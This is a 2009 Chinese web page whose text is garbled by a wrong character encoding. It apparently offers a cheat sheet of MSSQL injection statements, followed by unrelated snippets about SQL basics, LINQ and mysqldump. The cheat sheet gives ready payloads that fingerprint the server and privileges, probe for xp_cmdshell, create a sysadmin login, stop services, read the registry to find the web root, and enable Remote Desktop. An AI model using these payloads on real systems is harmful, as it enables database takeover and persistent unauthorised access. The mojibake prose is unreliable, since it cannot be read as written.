Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

×¢Èë³£ÓÃSQLÓï¾ä


and exists (select * from sysobjects) //ÅжÏÊÇ·ñÊÇMSSQL
and exists(select * from tableName) //ÅжÏij±íÊÇ·ñ´æÔÚ..tableNameΪ±íÃû
and 1=(select @@VERSION) //MSSQL°æ±¾
And 1=(select db_name()) //µ±Ç°Êý¾Ý¿âÃû
and 1=(select @@servername) //±¾µØ·þÎñÃû
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //ÅжÏÊÇ·ñÊÇϵͳ¹ÜÀíÔ±
and 1=(Select IS_MEMBER('db_owner')) //ÅжÏÊÇ·ñÊÇ¿âȨÏÞ
and 1= (Select HAS_DBACCESS('master')) //ÅжÏÊÇ·ñÓпâ¶ÁȡȨÏÞ
and 1=(select name from master.dbo.sysdatabases where dbid=1) //±©¿âÃûDBIDΪ1£¬2£¬3....
;declare @d int //ÊÇ·ñÖ§³Ö¶àÐÐ
and 1=(Select count(*) from master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //ÅжÏXP_CMDSHELLÊÇ·ñ´æÔÚ
and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_regread') //²é¿´XP_regreadÀ©Õ¹´æ´¢¹ý³ÌÊDz»ÊÇÒѾ­±»É¾³ý
Ìí¼ÓºÍɾ³ýÒ»¸öSAȨÏÞµÄÓû§test£º£¨ÐèÒªSAȨÏÞ£©
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
Í£µô»ò¼¤»îij¸ö·þÎñ¡£ £¨ÐèÒªSAȨÏÞ£©
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
±©ÍøվĿ¼
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) »òÕßand 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————·Ö¸î
DOSÏ¿ª3389 ²¢Ð޸Ķ˿ںÅ
sc config termservice start= auto
net start termservice
//ÔÊÐíÍâÁ¬
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDe


Ïà¹ØÎĵµ£º

¾­µäSQLÓï¾ä

1,SELECT *,CASE OrderStatus WHEN 1 THEN 'δ´¦Àí' when 2 THEN 'Ëø¶¨' when
3 THEN 'ÒѳöƱ' ELSE '¹ýÆÚ' END
from  dbo.T_OrderItem
2,
SELECT *,CAST(ROUND(CAST (HostWin AS FLOAT)/(HostWin+HostDraw+HostBear),2)*100 AS varchar)+'%' AS HostWinRate,
        & ......

LINQ to SQL ÔÚ Visual Studio 2008 Öеļòµ¥Ó¦ÓÃ


ÔÚ.Net Framework 3.5 ÖУ¬×¶¯ÈËÐĵľÍÊÇÔö¼ÓÁËLINQ¹¦ÄÜ£¬LINQÔÚÊý¾Ý¼¯³ÉµÄ»ù´¡ÉÏÌṩÁËеÄÇáÐÍ·½Ê½¡£ÓÐÁËLINQ£¬ÎÒÃÇ´´½¨µÄ²éѯÏÖÔھͱà³ÌÁË.Net ¿ò¼ÜµÄÒ»¸ö³ÉÔ±£¬ÔÚ¶ÔÒª²Ù×÷µÄÊý¾Ý´æ´¢Ö´Ðвéѯʱ£¬»áºÜ¿ì·¢ÏÖËûÃÇÏÖÔڵIJÙ×÷·½Ê½ÀàËÆÓÚϵͳÖеÄÀàÐÍ¡£Õâ˵Ã÷£¬ÏÖÔÚ¿ÉÒÔʹÓÃÈÎÒâ¼æÈÝ.Net µÄÓïÑÔÀ´²éѯµ×²ãµÄÊý¾Ý´æ´¢£¬Õ ......

SQL²Ù×÷È«¼¯


SQL²Ù×÷È«¼¯
ÏÂÁÐÓï¾ä²¿·ÖÊÇMssqlÓï¾ä£¬²»¿ÉÒÔÔÚaccessÖÐʹÓá£
SQL·ÖÀࣺ
DDL—Êý¾Ý¶¨ÒåÓïÑÔ(CREATE£¬ALTER£¬DROP£¬DECLARE)
DML—Êý¾Ý²Ù×ÝÓïÑÔ(SELECT£¬DELETE£¬UPDATE£¬INSERT)
DCL—Êý¾Ý¿ØÖÆÓïÑÔ(GRANT£¬REVOKE£¬COMMIT£¬ROLLBACK)
Ê×ÏÈ,¼òÒª½éÉÜ»ù´¡Óï¾ä£º
1¡¢ËµÃ÷£º´´½¨Êý¾Ý¿â
CREA ......

MySqlµ¼³ösql½Å±¾


mysqlµ¼³ösql½Å±¾ Êղؠ
   ×¢ÒâÊÂÏî:
*±ØÐëÔÚD:\LTSOFT\MYSQL4\bin> mysqldump -u root -p test > c:\a.sql
ÏȵýøÈëmysql°²×°Ä¿Â¼µÄbinÏ£¨¿ÉÒÔ¿´µ½ÀïÃæÓÐmysqldump.exe£©£¬Í¨³£mysqlĬÈÏ°²×°ÔÚC:\Program    Files\MySQL\MySQL Server 5.0
* ²»ÄܽøÈëmysql ÃüÁîÀï.
MySQLµ¼³ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ